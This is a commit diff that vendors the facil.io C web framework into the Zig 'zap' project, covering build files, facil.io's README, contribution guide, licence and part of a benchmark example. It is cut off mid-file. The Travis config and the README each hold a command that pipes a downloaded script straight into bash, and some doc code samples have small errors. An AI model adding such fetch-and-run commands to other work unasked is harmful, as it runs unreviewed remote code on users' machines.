swallowed facil.io into zap

build.zig

@@ -1,4 +1,5 @@
 const std = @import("std");
+const build_facilio = @import("facil.io/build.zig").build_facilio;
 
 pub fn build(b: *std.build.Builder) !void {
     const target = b.standardTargetOptions(.{});
@@ -6,35 +7,15 @@ pub fn build(b: *std.build.Builder) !void {
     // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall.
     const optimize = b.standardOptimizeOption(.{});
 
-    const facil_dep = b.dependency("facil.io", .{
-        .target = target,
-        .optimize = optimize,
-    });
-
     // create a module to be used internally.
     var zap_module = b.createModule(.{
         .source_file = .{ .path = "src/zap.zig" },
     });
 
-    // register the module so it can be referenced
-    // using the package manager.
-    // TODO: How to automatically integrate the
-    // facil.io dependency with the module?
+    // register the module so it can be referenced using the package manager.
     try b.modules.put(b.dupe("zap"), zap_module);
 
-    const facil_lib = b.addStaticLibrary(.{
-        .name = "facil.io",
-        .target = target,
-        .optimize = optimize,
-    });
-
-    facil_lib.linkLibrary(facil_dep.artifact("facil.io"));
-
-    // we install the facil dependency, just to see what it's like
-    // zig build with the default (install) step will install it
-    facil_lib.installLibraryHeaders(facil_dep.artifact("facil.io"));
-    const facil_install_step = b.addInstallArtifact(facil_lib, .{});
-    b.getInstallStep().dependOn(&facil_install_step.step);
+    const facilio = try build_facilio("facil.io", b, target, optimize);
 
     const all_step = b.step("all", "build all examples");
 
@@ -89,7 +70,7 @@ pub fn build(b: *std.build.Builder) !void {
             .optimize = optimize,
         });
 
-        example.linkLibrary(facil_dep.artifact("facil.io"));
+        example.linkLibrary(facilio);
         example.addModule("zap", zap_module);
 
         // const example_run = example.run();
@@ -122,7 +103,7 @@ pub fn build(b: *std.build.Builder) !void {
         .target = target,
         .optimize = optimize,
     });
-    auth_tests.linkLibrary(facil_dep.artifact("facil.io"));
+    auth_tests.linkLibrary(facilio);
     auth_tests.addModule("zap", zap_module);
 
     const run_auth_tests = b.addRunArtifact(auth_tests);
@@ -135,7 +116,7 @@ pub fn build(b: *std.build.Builder) !void {
         .target = target,
         .optimize = optimize,
     });
-    mustache_tests.linkLibrary(facil_dep.artifact("facil.io"));
+    mustache_tests.linkLibrary(facilio);
     mustache_tests.addModule("zap", zap_module);
 
     const run_mustache_tests = b.addRunArtifact(mustache_tests);
@@ -149,7 +130,7 @@ pub fn build(b: *std.build.Builder) !void {
         .optimize = optimize,
     });
 
-    httpparams_tests.linkLibrary(facil_dep.artifact("facil.io"));
+    httpparams_tests.linkLibrary(facilio);
     httpparams_tests.addModule("zap", zap_module);
     const run_httpparams_tests = b.addRunArtifact(httpparams_tests);
     // TODO: for some reason, tests aren't run more than once unless
@@ -166,7 +147,7 @@ pub fn build(b: *std.build.Builder) !void {
         .optimize = optimize,
     });
 
-    sendfile_tests.linkLibrary(facil_dep.artifact("facil.io"));
+    sendfile_tests.linkLibrary(facilio);
     sendfile_tests.addModule("zap", zap_module);
     const run_sendfile_tests = b.addRunArtifact(sendfile_tests);
     const install_sendfile_tests = b.addInstallArtifact(sendfile_tests, .{});

build.zig.zon

@@ -1,11 +1 @@
-.{
-    .name = "zap",
-    .version = "0.1.14-pre",
-
-    .dependencies = .{
-        .@"facil.io" = .{
-            .url = "https://github.com/zigzap/facil.io/archive/refs/tags/zap-0.0.12.tar.gz",
-            .hash = "12200301960bbde64052db068cf31a64091ce1f671898513d9b8d9e2be5b0e4b13a3",
-        }
-    }
-}
+.{ .name = "zap", .version = "0.2.0" }

build.zig.zon.localhost

@@ -1,11 +0,0 @@
-.{
-    .name = "zap",
-    .version = "0.0.18",
-
-    .dependencies = .{
-        .@"facil.io" = .{
-            .url = "http://localhost:8000/zap-0.0.8.tar.gz",
-            .hash = "122071fcc675e114941331726291ca1f0c0c33751d992782c6abf1f0f2ddddc5734d",
-        }
-    }
-}

facil.io/.clang_complete

@@ -0,0 +1,20 @@
+-Ilib/
+-Ilib/facil
+-Ilib/facil/fiobj
+-Ilib/facil/cli
+-Ilib/facil/http/
+-Ilib/facil/http/parsers
+-Ilib/facil/redis
+-Ilib/facil/tls
+-Ilib/bearssl
+
+-Idev/
+-Idev/startup
+-Idev/services
+-Idev/http
+
+-DDEBUG
+-DHAVE_BEARSSL
+-DHAVE_OPENSSL
+-DHAVE_ZLIB
+-DINCLUDE_MUSTACHE_IMPLEMENTATION

facil.io/.travis.yml

@@ -0,0 +1,17 @@
+language: c
+script:
+  - make vars
+  - DEBUG=1 make vars
+  - make test/optimized
+  - ASAN_OPTIONS=detect_leaks=0 make test/poll
+  - ASAN_OPTIONS=detect_leaks=0 make test/ci
+os:
+  - linux
+  - osx
+compiler:
+  - clang
+  - gcc
+notifications:
+  email: false
+after_success:
+  - bash <(curl -s https://codecov.io/bash)

facil.io/CMakeLists.txt

@@ -0,0 +1,43 @@
+project(facil.io C)
+cmake_minimum_required(VERSION 2.4)
+
+find_package(Threads REQUIRED)
+
+set(facil.io_SOURCES
+  lib/facil/fio.c
+  lib/facil/tls/fio_tls_missing.c
+  lib/facil/tls/fio_tls_openssl.c
+  lib/facil/fiobj/fio_siphash.c
+  lib/facil/fiobj/fiobj_ary.c
+  lib/facil/fiobj/fiobj_data.c
+  lib/facil/fiobj/fiobj_hash.c
+  lib/facil/fiobj/fiobj_json.c
+  lib/facil/fiobj/fiobj_mustache.c
+  lib/facil/fiobj/fiobj_numbers.c
+  lib/facil/fiobj/fiobj_str.c
+  lib/facil/fiobj/fiobject.c
+  lib/facil/cli/fio_cli.c
+  lib/facil/http/http.c
+  lib/facil/http/http1.c
+  lib/facil/http/http_internal.c
+  lib/facil/http/websockets.c
+  lib/facil/redis/redis_engine.c
+)
+
+add_library(facil.io ${facil.io_SOURCES})
+target_link_libraries(facil.io
+  PRIVATE Threads::Threads
+  PUBLIC pthread
+  PUBLIC m
+  )
+target_include_directories(facil.io
+  PUBLIC  lib
+  PUBLIC  lib/facil
+  PUBLIC  lib/facil/tls
+  PUBLIC  lib/facil/fiobj
+  PUBLIC  lib/facil/cli
+  PUBLIC  lib/facil/http
+  PUBLIC  lib/facil/http/parsers
+  PUBLIC  lib/facil/redis
+)
+

facil.io/CONTRIBUTING.md

@@ -0,0 +1,160 @@
+# How to Contribute
+
+Thank you for inquiring `facil.io`'s contribution guide. It's people like you and me, that are willing to share our efforts, who help make the world of open source development so inspiring and wonderful.
+
+## Guidelines 
+
+### General Guidelines
+
+"Facil" comes from the Spanish word "easy", and this is embedded in `facil.io`'s DNA.
+
+`facil.io` contributions should (ideally) be:
+
+* **Easy to use**:
+
+    clear and concise API, with macros that emulate "named arguments" when appropriate.
+
+* **Easy to maintain**:
+
+    * *Modular*: even at the price of performance and even (although less desired) at the price of keeping things DRY.
+
+        Developers should be able to simply remove the module from their implementation if they're not using it.
+
+        To clarify, a module should have as small a responsibility as possible without requiring non-core modules. This makes the module easier to maintain and minimizes code fragility and code entanglement.
+
+    * *Succinctly Commented*: Too much commenting is noise (we can read code), but too little and a future maintainer might not understand why the code was written in the first place.
+
+* **Easy to port**:
+
+    When possible, code should be portable. This is both true in regards to CPU architecture and in regards to OS and environment.
+
+    The project currently has the following limitation that might be addressed in the future:
+
+    * The code requires `kqueue` or `epoll` services from the OS, which means Linux / BSD / macOS.
+
+    * The code assumes a Unix environment (file naming etc').
+
+    * Some of the code (namely some HTTP parts) uses unaligned memory access (requiring newer CPUs and possibly introducing undefined behavior).
+
+* **Easy to compile**:
+
+    The code uses GNU `make` and although we have CMake support, neither CMake nor `configure` should be required at any point.
+
+* **Easy to manage**:
+
+    See the License section below. Contributions must relinquish ownership of contributed code, so licensing and copyright can be managed without the need to reach out to every contributer.
+
+
+### Community Guideline - Play Nice
+
+As a child, I wasn't any good with people (I'm not sure I'm any better now that I'm older)... which is how come I became good with computers and why we have `facil.io` and other open source projects ;-)
+
+However, I promise to do my best to be a respectful communicator and I ask that you do your best as well.
+
+No matter if discussing a PR (where we might find ourselves entering a heated discussion) or answering an issue (where sometime we find ourselves wondering why people think we work for them)... we should all remember that a little compassion and respect goes a long way.
+
+### Style Guide and Guidelines
+
+A few pointers about code styling (pun intended).
+
+* Use `clang-format` with the `LLVM` style.
+
+* Initialize all variables during declaration - even if it's redundant.
+
+* Use `goto` to move code branches to the end of a function's body.
+
+    It makes the main body of the function more readable (IMHO) and should help with branch prediction (similar to how `unlikely` might help, but using a different approach)
+
+## A quick run-down
+
+`facil.io` is comprised of the following module "families":
+
+* The Core:
+
+    This module family comprises `facil.io`'s core. Although it can (mostly) be used outside of `facil.io`, none of the modules in this family can be removed.
+
+    The module in comprised of two files: `fio.h` and `fio.c`.
+
+    The `fio.h` file can be included more then once and includes some core types, such as binary String support, Arrays, Hash Maps, spinlocks, etc' (see documentation).
+
+* Dynamic Types (`FIOBJ`) with native JSON support.
+
+    This soft type system was designed to make some network oriented tasks easier and is therefore used by many of the other modules.
+
+    Unlike most modules, this module is only optional if the core is used independently.
+
+* HTTP / WebSockets:
+
+    The `http` folder refers to the inter-connected HTTP/WebSocket extension / module.
+
+    Although this module family seems very entangled, I did my best to make it easy to maintain and extend with a minimum of entanglement.
+
+    HTTP request and response modules support virtual function tables for future HTTP/2 extensions. The actual request/response implementations might vary between protocol implementation, but their interface should be version agnostic.
+
+    Like most modules, it is optional and can be removed from facil.io without any side-effects.
+
+* Redis:
+
+    The redis engine is in it's own folder, both because it's clearly an "add-on" (even though it's a pub/sub add-on) and because it's as optional as it gets.
+
+    This is also a good example for my preference for modular design. The RESP parser is a single file library. It can be easily ported to different projects and is totally separate from the network layer.
+
+* CLI:
+
+    The command line interface extension / module is in the folder `cli` and should be considered and optional add-on. Other modules shouldn't rely on it's existence or absence.
+
+    This too, much like the Redis module, is a good example of the preferred modular approach.
+
+
+### Where to start / Roadmap
+
+Before you start working on a feature, I consider opening a PR to edit this CONTRIBUTING file and letting the community know that you took this feature upon yourself.
+
+Add the feature you want to work on to the following list (or assign an existing feature to yourself). This will also allow us to discuss, in the PR's thread, any questions you might have or any expectations that might effect the API or the feature.
+
+Once you have all the information you need to implementing the feature, the discussion can move to the actual feature's PR.
+
+These are the features that have been requested so far. Even if any of them are assigned, feel free to offer your help:
+
+|      Feature      |      assigned      |      remarks               |
+|-------------------|--------------------|----------------------------|
+|   Documentation   |     🙏 Help 🙏    | Placed at [`docs/_SOURCE`](docs/_SOURCE) |
+|       Tests       |    Never enough    | run through [`tests.c`](tests/tests.c) but implement in source files. |
+| Early Hints HTTP/1.1 |               |                            |
+|      SSL/TLS      |                    | See [`fio_tls_missing.c`](lib/facil/tls/fio_tls_missing.c) for example. |
+|  WebSocket Client |                    | Missing cookie retention.  |
+|    HTTP Client    |                    | Missing SSL/TLS, cookie retention and auto-redirect(?)  |
+|      HTTP/2       |                    |                            |
+|    HTTP Router    |                    | RESTfuk without RegEx. i.e.: `/users/(:id)` |
+|     PostgreSQL    |                    | Wrap `libpq.h` for events + pub/sub engine (?) |
+|     Gossip (?)    |                    | For Pub/Sub engine scaling |
+
+
+## License
+
+The project requires that all the code is licensed under the MIT license (though that may change).
+
+Please refrain from using or offering code that requires a change to the licensing scheme or that might prevent future updates to the licensing scheme (I'm considering ISC).
+
+I discovered GitHub doesn't offer a default CLA (Copyright and Licensing Agreement), so I adopted the one used by [BearSSL](https://www.bearssl.org/contrib.html), meaning:
+
+* the resulting code uses the MIT license, listing me (and only me) as the author. You can take credit by stating that the code was written by yourself, but should attribute copyright and authorship to me (Boaz Segev). This is similar to a "work for hire" approach.
+
+* I will list meaningful contributions in the CHANGELOG and special contributions will be listed in the README and/or here.
+
+This allows me to circumvent any future licensing concerns and prevent contributors from revoking the license attached to their code.
+
+## Notable Contributions
+
+* @area55git ([Area55](https://github.com/area55git)) contributed the logo under a [Creative Commons Attribution 4.0 International License.](https://creativecommons.org/licenses/by/4.0/).
+
+* @cdkrot took the time to test some of the demo code using valgrind, detecting a shutdown issue with in core `defer` library and offering a quick fix.
+
+* @madsheep and @nilclass took the time to expose a very quite issue (#16) that involved a long processing `on_open` websocket callback and very short network roundtrips, exposing a weakness in the HTTP/1.x logic.
+
+* @64 took the time to test the pre-released 0.6.0 version and submit [PR #25](https://github.com/boazsegev/facil.io/pull/25), fixing a silent error and some warnings.
+
+* Florian Weber (@Florianjw) took time to challenge the RiskyHash draft and [exposed a byte ordering error (last 7 byte reading order)](https://www.reddit.com/r/crypto/comments/9kk5gl/break_my_ciphercollectionpost/eekxw2f/?context=3).
+
+* Chris Anderson (@injinj) did amazing work exploring a 128 bit variation and attacking RiskyHash using a variation on a Meet-In-The-Middle attack, written by Hening Makholm (@hmakholm) on his ([SMHasher fork](https://github.com/hmakholm/smhasher)). The RiskyHash dfraft was updated to address this attack.
+

facil.io/LIBRARIES.md

@@ -0,0 +1,107 @@
+# Independent libraries offered by facil.io 
+
+The facil.io framework is based on a modular design, which means many of the modules can be extracted and used independently as separate libraries.
+
+## Single file libraries
+
+The following libraries consist of a single header file that can be used independently.
+
+Simply copy the header file to your project and enjoy.
+
+Please note that this isn't a comprehensive list (for example, the Base64 library and SHA256 libraries aren't mentioned).
+
+### Types:
+
+These type libraries are designed to make many common tasks easy while offering an easy to use API.
+
+They are all designed to use a data container (that can be allocated either on the stack or on the heap) as well as dynamic memory management, for maximum flexibility.
+
+And although they often prefer ease of use over performance, they are very libraries.
+
+* [Dynamic String Library](lib/facil/core/types/fiobj/fio_str.h): this library is easy to use and helps with authoring binary and C Strings.
+
+    For example:
+
+    ```c
+    // container on the stack
+    fio_str_s str = FIO_STR_INIT;
+    fio_str_write(&str, "Hello", 5);
+    fio_str_printf(&str, " world, %d", 42);
+    printf("%s\n", fio_str_data(&str)); // "Hello world, 42"
+    fio_str_free(&str);
+
+    // container on the heap
+    fio_str_s *str = malloc(sozeof(*str));
+    *str = FIO_STR_INIT;
+    // use ... and ... free when done:
+    fio_str_free(str);
+    free(str);
+    ```
+
+    It should be noted that short Strings (up to 30 bytes on 64bit machines) will be stored within the container without additional memory allocations, improving performance for many common use cases.
+
+* [Dynamic Array Library](lib/facil/core/types/fiobj/fio_ary.h): was designed to make dynamic arrays easy to handle.
+
+    For example:
+
+    ```c
+    // container on the stack (can also be placed on the heap).
+    fio_ary_s ary = FIO_ARY_INIT;
+    fio_ary_push(&ary, (void *)1);
+    printf("Array pop value: %zd", (size_t)fio_ary_pop(&ary));
+    fio_ary_free(&ary);
+    ```
+
+* [Dynamic Hash Map Library](lib/facil/core/types/fiobj/fio_hashmap.h): was designed to make Hash maps a breeze.
+
+    The following example uses `void *` types for values and `uint64_t` types for keys, but it's easy enough to use Strings or any other data type as keys:
+
+    ```c
+    // container on the stack (can also be placed on the heap).
+    fio_hash_s hash = FIO_HASH_INIT;
+    fio_hash_insert(&hash, 1, (void *)1);
+    printf("Hash seek key %u => value: %zd", 1, fio_hash_find(&hash, 1));
+    printf("Hash seek key %u => value: %zd", 2, fio_hash_find(&hash, 2));
+    fio_hash_free(&ary); // use FIO_HASH_FOR_FREE to free object data or custom keys.
+    ```
+
+
+* [Linked Lists Library](lib/facil/core/types/fiobj/fio_llist.h): was designed to make linked lists a breeze.
+
+    The library supports both flavors of linked lists, external (node contains a pointer) and embedded (nodes contain actual data).
+
+### Parsers:
+
+The single header parser libraries often declare callbacks that should be defined (implemented) by the file that includes the library.
+
+For example, the JSON parser expects the client to implement the `fio_json_on_null`. The callbacks should be used to build the data structure that contains the results.
+
+These single-file parsers include:
+
+* [JSON parser](lib/facil/core/types/fiobj/fio_json_parser.h): JSON stands for JavaScript Object Notation and is commonly used for data exchange. More details about JSON at [json.org](http://json.org).
+
+* [Mustache template parser](lib/facil/core/types/fiobj/mustache_parser.h): Mustache is a templating scheme. More details about mustache at [mustache.github.io](http://mustache.github.io).
+
+* [RESP parser](lib/facil/redis/resp_parser.h): RESP (REdis Serialization Protocol) is the protocol used by Redis for data transfer and communications. More details about RESP at [redis.io](https://redis.io/topics/protocol).
+
+* [WebSockets parser](lib/facil/http/parsers/mustache_parser.h): WebSockets are used for bi-directional communication across the web. Unlike raw TCP/IP, this added layer converts the communication scheme from streaming based communication to message based communication, preserving message boundaries. More details about WebSockets at [websocket.org](https://www.websocket.org/aboutwebsocket.html).
+
+* [MIME Multipart parser](ib/facil/http/parsers/http_mime_parser.h): This parser decodes HTTP multipart data used in form data submissions (i.e., when uploading a file or submitting a form using POST). More details about MIME at [wikipedia.org](https://en.wikipedia.org/wiki/MIME).
+
+An honorary mention goes out to the HTTP/1.1 parser. It is a 2 file parser library ([header file](lib/facil/http/parsers/http1_parser.h) and [source file](lib/facil/http/parsers/http1_parser.c)) that is totally independent from the IO layer or the rest of facil.io.
+
+## Two File Libraries
+
+The following libraries consist of both a header and a source file that can be used independently.
+
+Simply copy both files to your project and enjoy.
+
+### Memory Allocator
+
+The `fio_mem` library is a custom memory allocator that was designed for network use, minimizing lock contention and offering minimal allocation overhead.
+
+I wrote it to solve an issue I had with memory fragmentation and race conditions during multi-threaded allocations.
+
+The allocator doesn't return all the memory to the system. Instead, there's a memory pool that is retained, improving concurrency even across process borders by minimizing system calls.
+
+More details can be found in [the header file `fio_mem.h`](lib/facil/core/types/fiobj/fio_mem.h) and [the implementation file `fio_mem.c`](lib/facil/core/types/fiobj/fio_mem.c).

facil.io/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2016-2019 Boaz Segev
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

facil.io/NOTICE

@@ -0,0 +1,27 @@
+This software is modular (i.e., the `fiobj` and `evio` modules) and each module should be considered independantly licensed under the MIT license.
+
+This software implements cryptographic algorithms such as SHA1, SHA2 and SipHash.
+
+It should be noted that different countries might restrict the use / importation (download) of cryptographic devices / software. You should make sure to comply with the laws of the appilicable country/countries.
+
+These algorithms might be subject to their own copyrights, patents and licenses, though I couldn't find any that apply I really don't know - you should test this on your own.
+
+---
+SipHash - from https://131002.net/siphash/
+
+> We aren't aware of any patents or patent applications relevant to SipHash. SipHash was designed by:
+> * Jean-Philippe Aumasson (Kudelski Security, Switzerland)
+> * Daniel J. Bernstein (University of Illinois at Chicago, USA)
+
+---
+SHA1 and SHA2
+
+SHA1 and SHA2 seem to be in the public domain, developed by/for NASA.
+
+---
+
+The single string, binary, glob matching helper function `fio_glob_match` was **rewritten** (I don't know if the original copyright remains) and adapted from:
+https://github.com/opnfv/kvmfornfv/blob/465249b61b72d33fe1fad8d43da332faef22bec0/kernel/lib/glob.c#L12-L122
+
+Licensed under the MIT license, the original code's copyright is as follows:
+Copyright 2015 Open Platform for NFV Project, Inc. and its contributors

facil.io/README.md

@@ -0,0 +1,137 @@
+<p align="center"><img src="https://s33.postimg.cc/5d7j1nacf/Readme_1.jpg"></p>
+
+[![GitHub](https://img.shields.io/badge/Open%20Source-MIT-blue.svg)](https://github.com/boazsegev/facil.io)
+[![Build Status](https://travis-ci.org/boazsegev/facil.io.svg?branch=master)](https://travis-ci.org/boazsegev/facil.io)
+[![Codacy Badge](https://api.codacy.com/project/badge/Grade/2abeba588afb444ca6d92e68ccfbe36b)](https://www.codacy.com/app/boazsegev/facil.io?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=boazsegev/facil.io&amp;utm_campaign=Badge_Grade)
+[![codecov](https://codecov.io/gh/boazsegev/facil.io/branch/master/graph/badge.svg)](https://codecov.io/gh/boazsegev/facil.io)
+
+[facil.io](http://facil.io) is a C micro-framework for web applications. facil.io includes:
+
+* A fast HTTP/1.1 and Websocket static file + application server.
+* Support for custom network protocols for both server and client connections.
+* Dynamic types designed with web applications in mind (Strings, Hashes, Arrays etc').
+* Performant JSON parsing and formatting for easy network communication.
+* A pub/sub process cluster engine for local and Websocket pub/sub.
+* Optional connectivity with Redis.
+
+[facil.io](http://facil.io) provides high performance TCP/IP network services to Linux / BSD (and macOS) by using an evented design (as well as thread pool and forking support) and provides an easy solution to [the C10K problem](http://www.kegel.com/c10k.html).
+
+You can read more about [facil.io](http://facil.io) on the [facil.io](http://facil.io) website.
+
+### Important to Note
+
+The master branch on the `git` repo is the development branch and is likely to be broken at any given time (especially when working on major revisions, as I am at the moment).
+
+Please select a release version for any production needs.
+
+### Who's running on `facil.io`
+
+* [Iodine, a Ruby HTTP/Websockets Ruby application server](https://github.com/boazsegev/iodine) is powered by `facil.io` - so everyone using the iodine server is running on facil.io.
+
+* Are you using `facil.io`? Let me know!
+
+### An HTTP example
+
+```c
+#include "http.h" /* the HTTP facil.io extension */
+
+// We'll use this callback in `http_listen`, to handles HTTP requests
+void on_request(http_s *request);
+
+// These will contain pre-allocated values that we will use often
+FIOBJ HTTP_X_DATA;
+
+// Listen to HTTP requests and start facil.io
+int main(int argc, char const **argv) {
+  // allocating values we use often
+  HTTP_X_DATA = fiobj_str_new("X-Data", 6);
+  // listen on port 3000 and any available network binding (NULL == 0.0.0.0)
+  http_listen("3000", NULL, .on_request = on_request, .log = 1);
+  // start the server
+  facil_run(.threads = 1);
+  // deallocating the common values
+  fiobj_free(HTTP_X_DATA);
+}
+
+// Easy HTTP handling
+void on_request(http_s *request) {
+  http_set_cookie(request, .name = "my_cookie", .name_len = 9, .value = "data",
+                  .value_len = 4);
+  http_set_header(request, HTTP_HEADER_CONTENT_TYPE,
+                  http_mimetype_find("txt", 3));
+  http_set_header(request, HTTP_X_DATA, fiobj_str_new("my data", 7));
+  http_send_body(request, "Hello World!\r\n", 14);
+}
+```
+
+## Using `facil.io` in your project
+
+It's possible to either start a new project with `facil.io` or simply add it to an existing one. GNU `make` is the default build system and CMake is also supported.
+
+`facil.io` should be C99 compatible.
+
+### Starting a new project with `facil.io`
+
+To start a new project using the `facil.io` framework, run the following command in the terminal (change `appname` to whatever you want):
+
+     $ bash <(curl -s https://raw.githubusercontent.com/boazsegev/facil.io/master/scripts/new/app) appname
+
+You can [review the script here](scripts/new/app). In short, it will create a new folder, download a copy of the stable branch, add some demo boiler plate code and run `make clean` (which is required to build the `tmp` folder structure).
+
+Next, edit the `makefile` to remove any generic features you don't need, such as the `DUMP_LIB` feature, the `DEBUG` flag or the `DISAMS` disassembler and start development.
+
+Credit to @benjcal for suggesting the script.
+
+**Notice: The *master* branch is the development branch. Please select the latest release tag for the latest stable release version.**
+
+### Adding facil.io to an existing project
+
+[facil.io](http://facil.io) is a source code library, so it's easy to copy the source code into an existing project and start using the library right away.
+
+The `make libdump` command will dump all the relevant files in a single folder called `libdump`, and you can copy them all or divide them into header ands source files.
+
+It's also possible to compile the facil.io library separately using the `make lib` command.
+
+### Using `facil.io` as a CMake submodule
+
+[facil.io](http://facil.io) also supports both `git` and CMake submodules. Credit to @OwenDelahoy (PR#8).
+
+First, add the repository as a submodule using `git`:
+
+    git submodule add https://github.com/boazsegev/facil.io.git
+
+Then add the following line the project's `CMakeLists.txt`
+
+    add_subdirectory(facil.io)
+
+## More Examples
+
+The examples folder includes code examples for a [telnet echo protocol](examples/raw-echo.c), a [Simple Hello World server](examples/raw-http.c), an example for [Websocket pub/sub with (optional) Redis](examples/http-chat.c), etc'.
+
+You can find more information on the [facil.io](http://facil.io) website
+
+---
+
+## Forking, Contributing and all that Jazz
+
+[The contribution guide can be found here](CONTRIBUTING.md).
+
+Sure, why not. If you can add Solaris or Windows support to `evio` and `sock`, that could mean `facil` would become available for use on these platforms as well.
+
+If you encounter any issues, open an issue (or, even better, a pull request with a fix) - that would be great :-)
+
+Hit me up if you want to:
+
+* Write tests... I always need more tests...
+
+* Help me write HPACK / HTTP2 protocol support.
+
+* Help me design / write a generic HTTP routing helper library for the `http_s` struct.
+
+* If you want to help me write a new SSL/TLS library or have an SSL/TLS solution we can fit into `facil` (as source code)... Note: SSL/TLS solutions should fit both client and server modes.
+
+* If you want to help promote the library, that would be great as well. Perhaps publish [benchmarks](https://github.com/TechEmpower/FrameworkBenchmarks) or share your story.
+
+* Writing documentation into the `facil.io` website would be great. I keep the source code documentation fairly updated, but the documentation should be copied to the `docs` folder to get the documentation website up and running.
+
+<p align="center"><img src="https://s33.postimg.cc/seo47ha0v/Readme_2.jpg"></p>

facil.io/build.zig

@@ -0,0 +1,63 @@
+const std = @import("std");
+
+pub fn build_facilio(
+    comptime subdir: []const u8,
+    b: *std.build.Builder,
+    target: std.zig.CrossTarget,
+    optimize: std.builtin.OptimizeMode,
+) !*std.build.CompileStep {
+    const lib = b.addStaticLibrary(.{
+        .name = "facil.io",
+        .target = target,
+        .optimize = optimize,
+    });
+
+    // Generate flags
+    var flags = std.ArrayList([]const u8).init(std.heap.page_allocator);
+    if (lib.optimize != .Debug) try flags.append("-Os");
+    try flags.append("-Wno-return-type-c-linkage");
+    try flags.append("-fno-sanitize=undefined");
+
+    //
+    // let's not override malloc from within the lib
+    // when used as lib, not sure if it would work as expected anyway
+    // try flags.append("-DFIO_OVERRIDE_MALLOC");
+    //
+
+    try flags.append("-DFIO_HTTP_EXACT_LOGGING");
+    if (target.getAbi() == .musl)
+        try flags.append("-D_LARGEFILE64_SOURCE");
+
+    // Include paths
+    lib.addIncludePath(.{ .path = subdir ++ "/." });
+    lib.addIncludePath(.{ .path = subdir ++ "/lib/facil" });
+    lib.addIncludePath(.{ .path = subdir ++ "/lib/facil/fiobj" });
+    lib.addIncludePath(.{ .path = subdir ++ "/lib/facil/cli" });
+    lib.addIncludePath(.{ .path = subdir ++ "/lib/facil/http" });
+    lib.addIncludePath(.{ .path = subdir ++ "/lib/facil/http/parsers" });
+
+    // C source files
+    lib.addCSourceFiles(&.{
+        subdir ++ "/lib/facil/fio.c",
+        subdir ++ "/lib/facil/fio_zig.c",
+        subdir ++ "/lib/facil/http/http.c",
+        subdir ++ "/lib/facil/http/http1.c",
+        subdir ++ "/lib/facil/http/websockets.c",
+        subdir ++ "/lib/facil/http/http_internal.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_numbers.c",
+        subdir ++ "/lib/facil/fiobj/fio_siphash.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_str.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_ary.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_data.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_hash.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_json.c",
+        subdir ++ "/lib/facil/fiobj/fiobject.c",
+        subdir ++ "/lib/facil/fiobj/fiobj_mustache.c",
+        subdir ++ "/lib/facil/cli/fio_cli.c",
+    }, flags.items);
+
+    // link against libc
+    lib.linkLibC();
+
+    return lib;
+}

facil.io/build.zig.zon

@@ -0,0 +1,5 @@
+.{
+    .name = "facil.io",
+    .version = "0.0.12",
+}
+

facil.io/examples/benchmarks/framework_benchmark.c

@@ -0,0 +1,213 @@
+/*
+This is a short implementation fo the TechEmpower Framework Benchmarks. See:
+http://frameworkbenchmarks.readthedocs.io/en/latest/
+
+At the moment it's incomplete and only answers the plaintext and json tests
+using the full HTTP framework stack (without any DB support).
+*/
+#include "http.h"
+
+#include "fio_cli.h"
+
+/* *****************************************************************************
+Internal Helpers
+***************************************************************************** */
+
+/* initialize CLI helper and manage it's default options */
+static void cli_init(int argc, char const *argv[]);
+
+/* cleanup any leftovers */
+static void cleanup(void);
+
+/* reusable objects */
+static FIOBJ HTTP_HEADER_SERVER;
+static FIOBJ HTTP_VALUE_SERVER;
+static FIOBJ JSON_KEY;
+static FIOBJ JSON_VALUE;
+
+/* *****************************************************************************
+Routing
+***************************************************************************** */
+
+/* adds a route to our simple router */
+static void route_add(char *path, void (*handler)(http_s *));
+
+/* routes a request to the correct handler */
+static void route_perform(http_s *);
+
+/* cleanup for our router */
+static void route_clear(void);
+
+/* *****************************************************************************
+Request handlers
+***************************************************************************** */
+
+/* handles JSON requests */
+static void on_request_json(http_s *h);
+
+/* handles plain text requests (Hello World) */
+static void on_request_plain_text(http_s *h);
+
+/* *****************************************************************************
+The main function
+***************************************************************************** */
+int main(int argc, char const *argv[]) {
+  /* initialize the CLI helper and options */
+  cli_init(argc, argv);
+
+  /* sertup routes */
+  route_add("/json", on_request_json);
+  route_add("/plaintext", on_request_plain_text);
+
+  /* Server name and header */
+  HTTP_HEADER_SERVER = fiobj_str_new("server", 6);
+  HTTP_VALUE_SERVER = fiobj_str_new("facil.io " FIO_VERSION_STRING,
+                                    strlen("facil.io " FIO_VERSION_STRING));
+  /* JSON values to be serialized */
+  JSON_KEY = fiobj_str_new("message", 7);
+  JSON_VALUE = fiobj_str_new("Hello, World!", 13);
+
+  /* Test for static file service */
+  const char *public_folder = fio_cli_get("-www");
+  if (public_folder) {
+    fprintf(stderr, "* serving static files from:%s\n", public_folder);
+  }
+
+  /* listen to HTTP connections */
+  http_listen(fio_cli_get("-port"), fio_cli_get("-address"),
+              .on_request = route_perform, .public_folder = public_folder,
+              .log = fio_cli_get_bool("-log"));
+
+  /* Start the facil.io reactor */
+  fio_start(.threads = fio_cli_get_i("-t"), .workers = fio_cli_get_i("-w"));
+
